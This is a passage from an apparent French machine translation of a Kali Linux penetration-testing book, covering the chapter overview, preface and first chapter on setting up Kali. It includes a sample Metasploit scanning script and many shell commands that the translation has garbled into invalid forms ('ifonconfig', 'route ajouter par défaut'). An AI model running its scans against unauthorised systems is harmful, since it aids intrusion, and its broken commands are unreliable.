Le chapitre 4 , Exploit , montre les méthodologies qui peuvent
être utilisées pour trouver et
exécuter des exploits qui permettent à un système d'être
compromis par un attaquant.
Le chapitre 5 , Post Exploit – Action on the Objective , décrit
comment les attaquants peuvent
élever leurs privilèges pour atteindre leur objectif de
compromettre le système,
y compris le vol de données, modification des données, lancer
des attaques supplémentaires ou la création d'un
déni de service.
Le chapitre 6 , Post Exploit – Persistence , fournit un arrière-plan
sur la façon de configurer
un système compromis afin que l'attaquant puisse revenir à
volonté et continuer
activités post-exploitation.
Le chapitre 7, Attaques physiques et ingénierie sociale , montre
pourquoi être capable de
accéder physiquement à un système ou interagir avec les
humains qui le gèrent fournit
la voie d'exploitation la plus réussie.
Le chapitre 8 , Exploitation des communications sans fil ,
montre comment tirer parti
des connexions sans fil communes aux réseaux de données
d'accès et des systèmes isolés.
Le chapitre 9 , Reconnaissance et exploitation des applications
Web , fournit un
bref aperçu de l'une des phases de livraison les plus complexes
à sécuriser :
applications qui sont exposées à l'Internet public.

Page 24
Préface
[7]
Le chapitre 10 , Exploitation des communications d' accès à
distance , fournit de plus en plus
voie importante dans les systèmes alors que de plus en plus
d'organisations adoptent
et les modèles de travail à domicile qui reposent sur des
communications d'accès à distance qui sont
eux-mêmes vulnérables aux attaques.
Le chapitre 11 , Exploitation côté client , se concentre sur les
attaques contre les applications sur le
les systèmes de l'utilisateur final, qui ne sont souvent pas
protégés au même degré que le
réseau principal de l'organisation.
L'annexe , Installation de Kali Linux , fournit un aperçu de
l'installation de Kali Linux,
et comment utiliser un cryptage de disque entier pour éviter
une interception de données confidentielles
données de test.
Ce dont vous avez besoin pour ce livre
Afin de pratiquer le matériel présenté dans ce livre, vous aurez
besoin de virtualisation
des outils tels que VMware ou VirtualBox.
Vous devrez télécharger et configurer le système d'exploitation
Kali Linux et ses
suite d'outils. Pour vous assurer qu'il est à jour et que vous
disposez de tous les outils, vous
devra avoir accès à une connexion Internet.
Malheureusement, tous les outils du système Kali Linux ne
seront pas traités car il existe
trop d'entre eux. L'objectif de ce livre n'est pas d'inonder le
lecteur de toutes les
les outils et les options, mais pour fournir une approche de test
qui leur donnera la
opportunité d'apprendre et d'intégrer de nouveaux outils
comme leurs expériences et connaissances
change avec le temps.
Bien que la plupart des exemples de ce livre se concentrent sur
Microsoft Windows, le
méthodologie et la plupart des outils sont transférables à
d'autres systèmes d'exploitation
tels que Linux et les autres versions d'Unix.
Enfin, ce livre applique Kali pour compléter la chaîne de
destruction de l'attaquant contre la cible
systèmes. Vous aurez besoin d'un système d'exploitation cible.
Beaucoup d'exemples dans le livre
utiliser Microsoft Windows XP. Bien qu'il soit obsolète depuis
avril 2014, il fournit
une "base" de comportement standard pour de nombreux
outils. Si vous savez comment postuler
la méthodologie à un système d'exploitation, vous pouvez
l'appliquer à des systèmes d'exploitation plus récents
systèmes tels que Windows 7 et Windows 8.

25
Préface
[8]
A qui s'adresse ce livre
Ce livre est destiné aux personnes qui souhaitent en savoir plus
sur la sécurité des données.
En particulier, il cible les personnes qui veulent comprendre
pourquoi elles utilisent un
outil quand ils le font, par opposition à ces personnes qui
lancent autant d'outils que possible
à un système pour voir si un exploit se produira. Mon objectif
est que les lecteurs développent leur
leur propre méthode et approche pour des tests d'intrusion
efficaces, ce qui leur permettra de
expérimenter et apprendre au fur et à mesure qu'ils
progressent. Je pense que cette approche est la seule efficace
moyen de comprendre comment des personnes malveillantes
attaquent les systèmes de données et, par conséquent, le seul
moyen de comprendre comment arbitrer les vulnérabilités
avant qu'elles ne puissent être exploitées.
Si vous êtes un professionnel de la sécurité, un testeur
d'intrusion ou si vous êtes simplement intéressé par le
sécurité des environnements de données complexes, ce livre
est fait pour vous.
Conventions
Dans ce livre, vous trouverez un certain nombre de styles de
texte qui distinguent entre
différents types d'informations. Voici quelques exemples de ces
styles, et un
explication de leur signification.
Mots de code dans le texte, noms de table de base de données,
noms de dossier, noms de fichiers, extensions de fichiers,
les chemins d'accès, les URL factices, les entrées utilisateur et
les identifiants Twitter sont affichés comme suit :
"Dans ce cas particulier, la VM a reçu une adresse IP de
192.168.204.132 ."
Un bloc de code est défini comme suit :
# Scanner de ports MSF
onhost_add {
println("[*] MSF Port Scanner Nouvel hôte OpenPorts on$1");
$console = console();
cmd($console, "utiliser auxiliaire/scanner/portscan/tcp");
cmd($console, "définir les FILS 12");
cmd($console, "définir les PORTS 139, 143");
# entrez d'autres ports si nécessaire
cmd($console, "définir RHOSTS $1");
cmd($console, "run -j");
cmd($console, "utiliser
auxiliaire/scanner/discovery/udp_sweep");
cmd($console, "définir les FILS 12");
cmd($console, "définir BATCHSIZE 256");
cmd($console, "définir RHOSTS $1");
cmd($console, "run -j");
db_sync();
}

Page 26
Préface
[9]
Toute entrée ou sortie de ligne de commande est écrite comme
suit :
root@kali~# update-rc.d paramètres réseau par défaut
Les nouveaux termes et les mots importants sont indiqués en
gras. Les mots que vous voyez sur le
l'écran, dans les menus ou les boîtes de dialogue par exemple,
apparaissent dans le texte comme ceci : « Si vous
double-cliquez sur l' icône truecrypt1 , vous serez redirigé vers
une vue du navigateur de fichiers ."
Des avertissements ou des notes importantes apparaissent
dans un encadré comme celui-ci.
Les trucs et astuces apparaissent comme ceci.
Commentaires des lecteurs
Les commentaires de nos lecteurs sont toujours les bienvenus.
Dites-nous ce que vous en pensez
ce livre, ce que vous avez aimé ou peut-être pas aimé. Les
commentaires des lecteurs sont importants pour nous
pour développer des titres dont vous tirez vraiment le meilleur
parti.
Pour nous envoyer des commentaires généraux, envoyez
simplement un e-mail à feedback@packtpub.com ,
et mentionnez le titre du livre via l'objet de votre message.
S'il y a un sujet dans lequel vous avez une expertise et que vous
êtes intéressé par l'écriture
ou contribuer à un livre, consultez notre guide de l'auteur sur
www.packtpub.com/authors .
Service client
Maintenant que vous êtes l'heureux propriétaire d'un livre
Packt, nous avons un certain nombre de choses à
vous aider à tirer le meilleur parti de votre achat.

27
Préface
[ 10 ]
Errata
Bien que nous ayons pris toutes les précautions nécessaires
pour garantir l'exactitude de notre contenu, les erreurs
arrive. Si vous trouvez une erreur dans l'un de nos livres, peut-
être une erreur dans le texte ou
le code—nous vous serions reconnaissants de nous le signaler.
Ce faisant, vous pouvez
sauver les autres lecteurs de la frustration et nous aider à
améliorer les versions ultérieures de ce
livre. Si vous trouvez des errata, veuillez les signaler en visitant
http://www.packtpub.
com/submit-errata , en sélectionnant votre livre, en cliquant
sur le lien du formulaire de soumission d'errata ,
et en saisissant les détails de votre errata. Une fois vos errata
vérifiés, votre soumission
seront acceptés et les errata seront téléchargés sur notre site
Web ou ajoutés à toute liste de
errata existants, dans la section Errata de ce titre. Tout errata
existant peut être consulté
en sélectionnant votre titre sur
http://www.packtpub.com/support .
Le piratage
Le piratage de matériel protégé par le droit d'auteur sur
Internet est un problème constant dans tous les médias.
Chez Packt, nous prenons très au sérieux la protection de nos
droits d'auteur et de nos licences. Si tu
trouver des copies illégales de nos œuvres, sous quelque forme
que ce soit, sur Internet, veuillez
nous fournir immédiatement l'adresse de l'emplacement ou le
nom du site Web afin que nous puissions
poursuivre un recours.
Veuillez nous contacter à copyright@packtpub.com avec un
lien vers le suspect
matériel piraté.
Nous apprécions votre aide dans la protection de nos auteurs,
et notre capacité à apporter
vous contenu précieux.
Des questions
Vous pouvez nous contacter à questions@packtpub.com si
vous rencontrez un problème avec
tout aspect du livre, et nous ferons de notre mieux pour y
remédier.

Page 28
Clause de non-responsabilité
Le contenu de ce livre est uniquement à des fins éducatives. Il
est conçu pour aider
les utilisateurs testent leur propre système contre les menaces
de sécurité de l'information et protègent leur
infrastructure informatique contre des attaques similaires.
Packt Publishing et l'auteur de ce livre
ne prendre aucune responsabilité pour les actions résultant de
l'utilisation inappropriée de l'apprentissage
matériaux contenus dans ce livre.

Page 29

Page 30
Partie 1
L'attaquant
Tuer la chaîne
Commencer avec Kali Linux
Identification de la cible – Passif
Reconnaissance
Reconnaissance active et
Analyse des vulnérabilités
Exploit
Post Exploit – Action sur
l'objectif
Post Exp loit – Persistance

Page 31

Page 32
Commencer avec Kali Linux
Kali Linux (Kali) est le successeur de la plateforme de test
d'intrusion BackTrack
qui est généralement considéré comme l'ensemble d'outils
standard de facto utilisé pour faciliter
tests de pénétration pour sécuriser les réseaux de données et
de voix. Ce chapitre fournit une
introduction à Kali, et se concentre sur la personnalisation de
Kali pour prendre en charge certains
aspects des tests d'intrusion. À la fin de ce chapitre, vous aurez
appris :
• Un aperçu de Kali
• Configuration des services réseau et des communications
sécurisées
• Mise à jour de Kali
• Personnalisation de Kali
• Extension des fonctionnalités de Kali avec des applications
tierces
• Gestion efficace des tests d'intrusion
Kali Linux
BackTrack ( BT ), ( www.offensive-security.com ) a été publié
pour fournir un
grande variété de tests d'intrusion et d'outils défensifs qui
étaient parfaits pour
auditeurs et administrateurs de réseau intéressés à évaluer et à
sécuriser leurs
réseaux. Les mêmes outils ont été utilisés à la fois par des
personnes autorisées et non autorisées.
(hackers) testeurs d'intrusion.
La version finale de BackTrack, BT 5r3, est sortie en août 2012.
Basée sur
la plate-forme Ubuntu Linux, il a été largement adopté et pris
en charge par la sécurité
communauté. Malheureusement, son architecture de fichiers
rendait difficile la gestion des
gamme d'outils et les dépendances qui les accompagnent.

Page 33
Commencer avec Kali Linux
[ 16 ]
Dans BackTrack, tous les outils utilisés pour les tests d'intrusion
ont été placés dans le
répertoire /pentest . Des sous-dossiers tels que /web ou
/database ont aidé à définir plus précisément
l'emplacement des outils. Trouver et exécuter des outils au sein
de cette hiérarchie pourrait être
contre-intuitif. Par exemple, est sqlninja, qui identifie une
injection SQL, un
outil d'évaluation de la vulnérabilité, un outil d'exploitation
Web ou un outil d'exploitation de base de données ?
En mars 2013, BackTrack a été remplacé par Kali Linux, qui
utilise une nouvelle plate-forme
architecture basée sur le système d'exploitation Debian
GNU/Linux.
Debian adhère au Filesystem Hierarchy Standard ( FHS ), qui
est un
avantage sur BackTrack. Au lieu d'avoir à naviguer dans
l'arborescence /pentest,
vous pouvez appeler un outil de n'importe où sur le système
car les applications sont incluses dans
le chemin du système.
Les autres caractéristiques de Kali sont les suivantes :
• Prise en charge de plusieurs environnements de bureau tels
que Gnome, KDE, LXDE,
et XFCE, et fournit un support multilingue.
• Les outils compatibles Debian sont synchronisés avec les
référentiels Debian
au moins quatre fois par jour, ce qui facilite la mise à jour des
packages et l'application
correctifs de sécurité.
• Prise en charge des personnalisations ISO, permettant aux
utilisateurs de créer leurs propres versions de
Kali. La fonction d'amorçage effectue également des
installations réseau à l'échelle de l'entreprise
qui peut être automatisé à l'aide de fichiers de pré-amorçage.
• Le support ARMEL et ARMHF permet à Kali d'être installé sur
des appareils tels que
Raspberry Pi, ODROID-U2/-X2 et le Chromebook Samsung.
• Plus de 300 outils d'analyse de données et de défense des
tests d'intrusion sont inclus.
Ils fournissent une prise en charge sans fil étendue avec des
correctifs de noyau pour permettre le
injection de paquets requise par certaines attaques sans fil.
• Kali reste un projet open source et gratuit. Surtout, c'est bien
soutenu par une communauté en ligne active.
Tout au long de ce livre, nous utiliserons une machine virtuelle
VMware ( VM ) de 64 bits
Kali (reportez-vous à l' annexe , Installation de Kali Linux pour
obtenir des instructions sur l'installation de Kali).
Une VM est utilisée car elle permet d'exécuter facilement et
rapidement certaines applications
dans d'autres systèmes d'exploitation, tels que Microsoft
Windows. De plus, une VM peut
être archivé avec les résultats d'un test d'intrusion, permettant
à l'archive d'être
examiné pour déterminer si une vulnérabilité particulière aurait
été détectée
avec l'ensemble d'outils qui a été utilisé pour les tests.

Page 34
Chapitre 1
[ 17 ]
Lorsque Kali est lancé, l'utilisateur sera redirigé vers l'interface
graphique par défaut du bureau avec un menu
barre en haut et quelques icônes simples. En sélectionnant
l'élément de menu Applications , et
puis Kali Linux , l'utilisateur aura accès à un système de menu
qui contient le Top 10
Security Tools ainsi qu'une série de dossiers, organisés dans
l'ordre général qui
être suivi lors d'un test d'intrusion, comme le montre la capture
d'écran suivante :
Le menu sera familier aux utilisateurs de BT 5r3. Cependant, il
y a quelques changements, qui incluent un accès simplifié au
réseau
services et communications.

Page 35
Commencer avec Kali Linux
[ 18 ]
Configuration des services réseau et sécurisé
communication
La première étape pour pouvoir utiliser Kali est de s'assurer
qu'il est connecté à un
réseau filaire ou sans fil pour prendre en charge les mises à jour
et la personnalisation.
Vous devrez peut-être obtenir une adresse IP par DHCP
( Dynamic Host Configuration
Protocol ), ou attribuez-en un de manière statique. Tout
d'abord, confirmez votre adresse IP à l'aide de ifconfig
commande à partir d'une fenêtre de terminal, comme illustré
dans la capture d'écran suivante :
Dans ce cas particulier, la VM a reçu une adresse IP de
192.168.204.132 .
Si une adresse IP n'a pas été obtenue, une adresse peut être
attribuée par DHCP en utilisant le
commande dhclient eth0 (ou d'autres interfaces disponibles,
qui dépendront de la
configuration spécifique du système utilisé).
Si une adresse IP statique est utilisée, des informations
supplémentaires peuvent être requises. Par exemple,
vous pouvez attribuer une IP statique de 192.168.204.128
comme suit :
adresse IP de l'hôte : 192.168.204.128
masque de sous-réseau : 255.255.255.0
passerelle par défaut : 192.168.204.1
Serveur DNS : 192.168.204.10

Page 36
Chapitre 1
[ 19 ]
Entrez dans une fenêtre de terminal et entrez la commande
suivante :
root@kali:~# ifonconfig eth0 192.168.204.128/24
root@kali:~# route ajouter par défaut gw 192.168.204.1
root@kali:~# echo nameserver 192.168.204.10 >
/etc/resolv.conf
Les modifications apportées aux paramètres IP ne sont pas
persistantes et seront perdues lorsque Kali est
redémarré. Pour rendre les modifications permanentes, vous
devrez éditer le fichier /etc/network/
interfaces , comme illustré dans la capture d'écran suivante :
Par défaut, Kali ne démarre pas avec le service DHCP activé.
Cela annonce
la nouvelle adresse IP sur le réseau, et cela peut alerter les
administrateurs sur le
présence du testeur. Pour certains cas de test, cela peut ne pas
être un problème, et il peut être
avantageux de faire démarrer automatiquement certains
services lors du démarrage. Ceci peut
être réalisé en entrant les commandes suivantes :
root@kali~# update-rc.d paramètres réseau par défaut
root@kali~# /etc/init.d/redémarrage du réseau
Kali s'installe avec des services réseau qui peuvent être
démarrés ou arrêtés selon les besoins,
y compris DHCP, HTTP, SSH, TFTP et le serveur VNC. Ces
services sont généralement
invoqués à partir de la ligne de commande, cependant, certains
sont accessibles à partir du menu Kali.

Page 37
Commencer avec Kali Linux
[ 20 ]
Ajuster les paramètres du proxy réseau
Utilisateurs situés derrière un proxy authentifié ou non
authentifié
la connexion doit modifier bash.bashrc et apt.conf . Les deux
fichiers se trouvent dans le
répertoire /root/etc .
1. Modifiez le fichier bash.bashrc , comme indiqué dans la
capture d'écran suivante, utilisez un texte
éditeur pour ajouter les lignes suivantes au bas du fichier
bash.bashrc :
export ftp_proxy="ftp://user:password@proxyIP:port"
export http_proxy="http://user:password@proxyIP:port"
export https_proxy="https://user:password@proxyIP:port"
export
chaussettes_proxy="https://user:password@proxyIP:port"
2. Remplacez proxyIP et port par votre adresse IP proxy et votre
numéro de port
respectivement, et remplacez le nom d'utilisateur et le mot de
passe par votre
nom d'utilisateur et mot de passe d'authentification. S'il n'est
pas nécessaire de s'authentifier,
n'écrivez que la partie qui suit le symbole @ .
3. Dans le même répertoire, créez le fichier apt.conf et saisissez
ce qui suit
lignes de commande, comme illustré dans la capture d'écran
suivante :

Page 38
Chapitre 1
[ 21 ]
4. Enregistrez et fermez le fichier. Déconnectez-vous puis
connectez-vous pour activer les nouveaux paramètres.
Sécurisation des communications avec Secure Shell
Pour minimiser la détection par un réseau cible lors des tests,
Kali n'active aucun
services de réseau d'écoute externe. Certains services, tels que
Secure Shell ( SSH ),
sont déjà installés. Cependant, ils doivent être activés avant
utilisation.
Kali est préconfiguré avec des clés SSH par défaut. Avant de
démarrer le service SSH,
c'est une bonne idée de désactiver les clés par défaut et de
générer un jeu de clés unique à utiliser.
Déplacez les clés SSH par défaut vers un dossier de sauvegarde,
puis générez un nouveau jeu de clés SSH
à l'aide de la commande suivante :
dpkg-reconfigurer openssh-server
Le processus de déplacement des clés d'origine et de
génération du nouveau jeu de clés est illustré dans
la capture d'écran suivante.

Page 39
Commencer avec Kali Linux
[ 22 ]
Pour vérifier que les clés nouvellement générées sont uniques,
calculez leur hachage md5sum
valeurs et comparer avec les clés d'origine comme indiqué dans
la capture d'écran suivante.
Pour démarrer le service SSH à l'aide du menu, sélectionnez
Applications | Kali Linux |
Services système | SSHD | Démarrage SSHD .
Pour démarrer SSH à partir de la ligne de commande, utilisez la
ligne de commande indiquée dans le
capture d'écran suivante :
Pour vérifier que SSH est en cours d'exécution, effectuez une
requête netstat , comme indiqué dans le
capture d'écran suivante :
Le démon SSH écoute sur le port 22 dans l'exemple précédent.
Pour arrêter SSH, utilisez
la commande suivante :
/etc/init.d/ssh stop

Page 40
Chapitre 1
[ 23 ]
Mise à jour de Kali Linux
Kali doit être corrigé régulièrement pour garantir que le
système d'exploitation de base et
les applications sont à jour et que les correctifs de sécurité ont
été appliqués.
Le système de gestion de paquets Debian
Le système de gestion de paquets de Debian repose sur des
applications groupées discrètes
appelés paquets . Les packages peuvent être installés ou
supprimés par l'utilisateur pour personnaliser le
l'environnement et les tâches de support telles que les tests
d'intrusion. Ils peuvent également s'étendre
la fonctionnalité de Kali, les tâches de support, telles que les
communications (Skype,
messagerie et e-mails sécurisés) ou de la documentation
(OpenOffice et Microsoft Office
fonctionnant sous Wine).
Les packages sont stockés dans des référentiels et sont
téléchargés vers l'utilisateur du système pour garantir
l'intégrité du colis.
Paquets et référentiels
Par défaut, Kali utilise uniquement les référentiels officiels de
Kali. Il est possible qu'un
processus d'installation incomplet peut ne pas ajouter les
référentiels aux sources correctes .
list , ou que vous souhaiterez peut-être étendre les référentiels
disponibles lors de nouveaux
les applications sont ajoutées.
La mise à jour du fichier source.list peut se faire depuis la ligne
de commande ( echo deb
http://http.kali.org/kiali kali main contrib non-free >> /etc/apt/
sources.list ), ou en utilisant un éditeur de texte.
Les référentiels de packages par défaut qui devraient être
présents dans /etc/apt/sources.list
sont répertoriés comme suit ; s'il n'est pas présent, modifiez le
fichier sources.list pour les inclure :
## Kali
deb http://http.kali.org/kali kali main contrib non-free
## Kali-dev
deb http://http.kali.org/kali kali-dev main contrib non libre
## Mises à jour de sécurité Kali
deb http://security.kali.org/kali-security kali/updates main
contribution non-gratuite
Tous les outils Kali ne sont pas actuellement conservés dans les
référentiels d'outils officiels. Si tu
choisir de mettre à jour un outil manuellement, il est possible
que vous écrasez l'existant
fichiers empaquetés et rompre les dépendances. Par
conséquent, certains outils qui n'ont pas été
officiellement déplacé vers les référentiels Debian, tels que
aircrack-ng , dnsrecon , sqlmap ,
boeuf-xss et Social Engineering Toolkit (se-toolkit), sont
maintenus dans le Bleeding
Référentiel Edge. Ce référentiel peut également être ajouté à
sources.list en utilisant le
ligne de commande suivante :
## Référentiel Bleeding Edge
deb http://repo.kali.org/kali kali kali-bleeding-edge main

Page 41
Commencer avec Kali Linux
[ 24 ]
Dpkg
Dpkg est le système de gestion de paquets de Debian. Cette
application en ligne de commande est
utilisé pour installer, supprimer et interroger des packages. En
général, dpkg effectue des actions sur
forfaits individuels.
dpkg est particulièrement utile pour compiler une liste des
applications dans Kali en utilisant la commande dpkg -l > list.txt.
Si vous voulez savoir si un outil spécifique est installé, utilisez
dpkg -l |
grep <nom de l'outil>.
La capture d'écran suivante montre un extrait des données
renvoyées lorsque dpkg -l est
invoqué, fournissant une liste de toutes les applications
installées sur la distribution Kali ; c'est
particulièrement utile pour identifier les applications qui ne
peuvent être accessibles que directement
à partir de la ligne de commande.
Utilisation d'outils d'empaquetage avancés
Advanced Packaging Tools ( APT ), étendez les fonctionnalités
de dkpg en recherchant
référentiels et l'installation ou la mise à niveau des packages
avec tous les
dépendances. L'APT peut également être utilisé pour mettre à
niveau une distribution complète.
Les commandes apt les plus courantes sont les suivantes :
• apt-get update : Ceci est utilisé pour resynchroniser l'index
local des packages
fichiers avec leur source telle que définie dans
/etc/apt/sources.list . La mise à jour
doit toujours être utilisée en premier, avant d'effectuer une
mise à niveau ou
dist-mise à niveau .
• apt-get upgrade : Ceci est utilisé pour installer les dernières
versions de tous les packages
installé sur le système en utilisant /etc/apt/sources.list . Des
forfaits qui sont
installés sur Kali avec les nouvelles versions disponibles sont
mis à niveau. La mise à niveau
la commande ne modifiera ni ne supprimera les packages qui
ne sont pas mis à niveau,
et il n'installera pas les packages qui ne sont pas déjà présents.

Page 42
Chapitre 1
[ 25 ]
• apt-get dist-upgrade : Ceci met à niveau tous les packages
actuellement installés sur
le système et leurs dépendances. Il supprime également les
packages obsolètes de
le système.
La commande apt-get peut également être utilisée pour
afficher une description complète d'un
package et identifier ses dépendances ( apt-cache show
<package name> )
ou supprimer un package ( apt-get remove <package name> ).
Exécutez la commande apt-get update et la commande
upgrade sur
démarrage pour vous assurer que votre session utilise les outils
les plus récents. Les
le moyen le plus simple de le faire est de créer un script
update.sh qui inclut le
ligne de commande suivante :
apt-get update && apt-get upgrade –y && apt-get dist-
mise à niveau –y
Certaines applications ne sont pas mises à niveau par la
commande apt-get . Par exemple,
la copie locale de l' archive exploit-db doit être mise à jour
manuellement. Créer un
script nommé update.sh et ajoutez-y les commandes suivantes,
pour automatiser le
processus de mise à jour :
cd /usr/share/exploitdb
wget http://www.exploit-db.com/archive.tar.bz2
tar –xvjf archive.tar.bz2
rm archive.tar.bz2
Configuration et personnalisation de Kali Linux
Kali est un framework utilisé pour effectuer un test d'intrusion.
Cependant, le
le testeur ne doit jamais se sentir lié aux outils qui ont été
installés par défaut, ou
par l'aspect et la convivialité du bureau Kali. En personnalisant
BackTrack, un testeur peut
augmenter la sécurité des données clients collectées et faciliter
la
faire un test de pénétration.
Les personnalisations courantes apportées à Kali incluent :
• Réinitialisation du mot de passe root
• Ajout d'un utilisateur non root
• Accélérer les opérations de Kali
• Partage de dossiers avec MS Windows
• Création de dossiers cryptés
Page 43
Commencer avec Kali Linux
[ 26 ]
Réinitialiser le mot de passe root
Pour modifier un mot de passe utilisateur, utilisez la commande
suivante :
mot de passe racine
Vous serez alors invité à saisir un nouveau mot de passe,
comme indiqué dans le
capture d'écran suivante :
Ajouter un utilisateur non root
De nombreuses applications fournies dans Kali doivent
s'exécuter avec des privilèges de niveau racine
pour fonctionner. Les privilèges de niveau racine comportent
un certain risque,
par exemple, une erreur de saisie de commande ou l'utilisation
d'une mauvaise commande peut entraîner
échouer ou même endommager le système testé. Dans certains
cas, il est
préférable de tester avec des privilèges de niveau utilisateur.
En effet, certaines applications forcent l'utilisation
des comptes à faible privilège.
Pour créer un utilisateur non root, vous pouvez simplement
utiliser la commande adduser depuis le terminal
et suivez les instructions qui s'affichent, comme illustré dans la
capture d'écran suivante :
Accélérer les opérations de Kali
Plusieurs outils peuvent être utilisés pour optimiser et accélérer
les opérations de Kali :
• Lors de l'utilisation d'une machine virtuelle, installez le
lecteur logiciel de la VM
package : ajouts d'invité (VirtualBox) ou VMware Tools
(VMware).

Page 44
Chapitre 1
[ 27 ]
• Lors de la création d'une machine virtuelle, sélectionnez une
taille de disque fixe au lieu d'une
alloué dynamiquement. Il est plus rapide d'ajouter des fichiers
sur un disque fixe, et il y a moins
fragmentation des fichiers.
• L'application de préchargement ( apt-get install preload )
identifie le
programmes les plus couramment utilisés et précharge les
binaires et les dépendances dans
mémoire pour fournir un accès plus rapide. Il fonctionne
automatiquement après le premier redémarrage
suivant l'installation.
• BleachBit ( apt-get install bleachbit ) libère de l'espace disque
et améliore
confidentialité en libérant le cache, en supprimant les cookies,
en effaçant l'historique Internet,
déchiquetage des fichiers temporaires, suppression des
journaux et suppression d'autres fichiers inutiles
des dossiers. Les fonctionnalités avancées incluent le
déchiquetage des fichiers pour empêcher la récupération et
essuyant l'espace disque libre pour masquer les traces de
fichiers qui n'ont pas été complètement supprimés.
• Par défaut, Kali n'affiche pas toutes les applications présentes
au démarrage
menu. Chaque application installée pendant le processus de
démarrage ralentit le
données système et peut avoir un impact sur l'utilisation de la
mémoire et les performances du système. Installer
Boot Up Manager ( BUM ) pour désactiver les services et
applications inutiles
qui sont activés lors du démarrage ( apt-get install bum ),
comme indiqué dans
la capture d'écran suivante :
Page 45
Commencer avec Kali Linux
[ 28 ]
• Ajouter gnome-do ( apt-get install gnome-do ) pour lancer
des applications
directement depuis le clavier. Pour configurer gnome-do ,
sélectionnez-le dans le
Applications | Menu accessoires . Une fois lancé, sélectionnez
les Préférences
menu, activez la fonction Quiet Launch et sélectionnez une
commande de lancement
(par exemple, Ctrl + Maj ). Effacez toutes les commandes
existantes, puis entrez
la ligne de commande à exécuter lorsque les touches de
lancement sont sélectionnées.
Plutôt que de lancer directement depuis le clavier, il est
possible d'écrire
des scripts spécifiques qui lancent des opérations complexes.
Partage de dossiers avec Microsoft Windows
L'ensemble d'outils Kali a la flexibilité de partager les résultats
avec les applications résidant sur
différents systèmes d'exploitation, notamment Microsoft
Windows. Le moyen le plus efficace
partager des données, c'est créer un dossier accessible depuis
le système d'exploitation hôte
ainsi que l'invité Kali Linux VM.
Lorsque les données sont placées dans un dossier partagé à
partir de l'hôte ou de la VM, elles sont
immédiatement disponible via le dossier partagé à tous les
systèmes qui accèdent à ce
dossier partagé.
Pour créer un dossier partagé, procédez comme suit :
1. Créez un dossier sur le système d'exploitation hôte. Dans cet
exemple, il s'agira
appelé Kali_Share .
2. Cliquez avec le bouton droit sur le dossier et sélectionnez l'
onglet Partage . A partir de ce menu,
sélectionnez Partager .
3. Assurez-vous que le fichier est partagé avec tout le monde et
que le niveau d'autorisation pour
ce partage est défini sur Lecture/Écriture .
4. Si vous ne l'avez pas déjà fait, installez les outils appropriés
sur BackTrack.
Par exemple, lors de l'utilisation de VMware, installez les outils
VMware (reportez-vous à l' annexe ,
Installation de Kali Linux ).
5. Une fois l'installation terminée, allez dans le menu VMware
et sélectionnez Virtual
Réglage de la machine . Recherchez le menu qui active les
dossiers partagés et sélectionnez
Toujours activé . Créez un chemin vers le dossier partagé qui
est présent sur le
système d'exploitation hôte, comme illustré dans la capture
d'écran suivante :

Page 46
Chapitre 1
[ 29 ]
Bien que VirtualBox utilise des titres de menu différents,
le processus est le même.
6. Ouvrez le navigateur de fichiers sur le bureau Kali. Le dossier
partagé sera visible
dans le dossier mnt (il peut être placé dans un sous-dossier,
hgfs ).
7. Faites glisser le dossier sur le bureau Kali pour créer un lien
vers le vrai dossier.
8. Tout ce qui est placé dans le dossier sera accessible dans le
dossier du même
nom sur le système d'exploitation hôte, et vice versa.
Le dossier partagé, qui contiendra les données sensibles d'un
test d'intrusion, doit être
crypté pour protéger le réseau du client et réduire la
responsabilité du testeur si le
données soient perdues ou volées.

47
Commencer avec Kali Linux
[ 30 ]
Créer un dossier crypté avec TrueCrypt
Lors d'un test d'intrusion, vous aurez accès à des informations
client sensibles,
y compris les vulnérabilités exploitables et les copies de
données violées avec succès.
Il est de la responsabilité légale et morale du testeur de
s'assurer que ces informations en
ses soins sont assurés en tout temps. Le meilleur moyen
d'assumer cette responsabilité est de
s'assurer que toutes les informations client sont cryptées
pendant le stockage et la transmission.
Pour installer TrueCrypt sur BackTrack, procédez comme suit :
1. Dans le menu Applications , sélectionnez Accessoires |
TrueCrypt .
2. Pour créer un dossier crypté, ouvrez l'application. vous serez
présenté
avec le menu principal, comme le montre la capture d'écran
suivante :

48
Chapitre 1
[ 31 ]
3. Dans le menu principal, sélectionnez le bouton Créer un
volume . Cela lancera le
Assistant de création de volume TrueCrypt , comme illustré
dans la capture d'écran suivante :
4. Sélectionnez Créer un conteneur de fichiers cryptés , puis
cliquez sur Suivant .
5. L'écran suivant vous demandera le type de volume ,
sélectionnez Standard TrueCrypt
volume , et cliquez sur Suivant .
6. Sur l' écran Emplacement du volume , sélectionnez
Sélectionner un fichier . Il vous sera demandé de
Spécifiez un nouveau volume TrueCrypt en fournissant un nom
et en indiquant que
il sera enregistré dans le dossier spécifié, comme indiqué dans
la capture d'écran suivante :

49
Commencer avec Kali Linux
[ 32 ]
7. Choisissez un nom de fichier. Ne choisissez pas un nom de
fichier lié au client testé,
ou qui indique que du matériel sensible est présent dans le
répertoire. Utiliser un
numéro ou mot de code pour représenter le client, et un titre
générique pour les résultats.
Enregistrez le fichier sur le bureau, puis cliquez sur Suivant .
8. L'écran suivant vous fournira les options de cryptage .
Sélectionner
Algorithme de chiffrement dans le menu déroulant. Il y a
plusieurs
choix, mais à des fins régulières, AES (la clé 256 bits par défaut)
suffira.
Vous sélectionnerez également un algorithme de hachage dans
le menu déroulant (le
par défaut, RIPEMD-160 , devrait être suffisant). Une fois vos
choix terminés,
cliquez sur le bouton Suivant , comme illustré dans la capture
d'écran suivante :
9. Vous serez maintenant invité à entrer la taille du volume .
Vous devez avoir un minimum
taille d'environ 500 Mo, mais cela peut varier en fonction du
test
régime. Cliquez sur Suivant .

50
Chapitre 1
[ 33 ]
10. Le mot de passe du volume doit être sélectionné selon les
règles fournies
pour les mots de passe forts. Sélectionnez et confirmez le mot
de passe, puis cliquez sur Suivant ,
comme le montre la capture d'écran suivante :
11. L'écran suivant vous permet de sélectionner Options de
format . Pour le système de fichiers
Les options sélectionnent FAT dans le menu déroulant. Cliquez
sur Suivant .
12. L'écran suivant, Volume Format , crée une clé aléatoire
pour le
système de fichiers. La clé est basée sur les mouvements de la
souris, et vous serez
invité à déplacer la souris sur la fenêtre pendant une longue
période pour s'assurer
le caractère aléatoire (force cryptographique) des clés de
chiffrement. Lorsque vous avez terminé,
cliquez sur Format pour créer le volume TrueCrypt.
13. Le volume final a été créé. Il apparaîtra sous forme d'icône
sur le bureau.
Le volume est chiffré et il peut être copié sur un périphérique
de stockage externe
ou déplacés vers le système hôte et restent cryptés.

51
Commencer avec Kali Linux
[ 34 ]
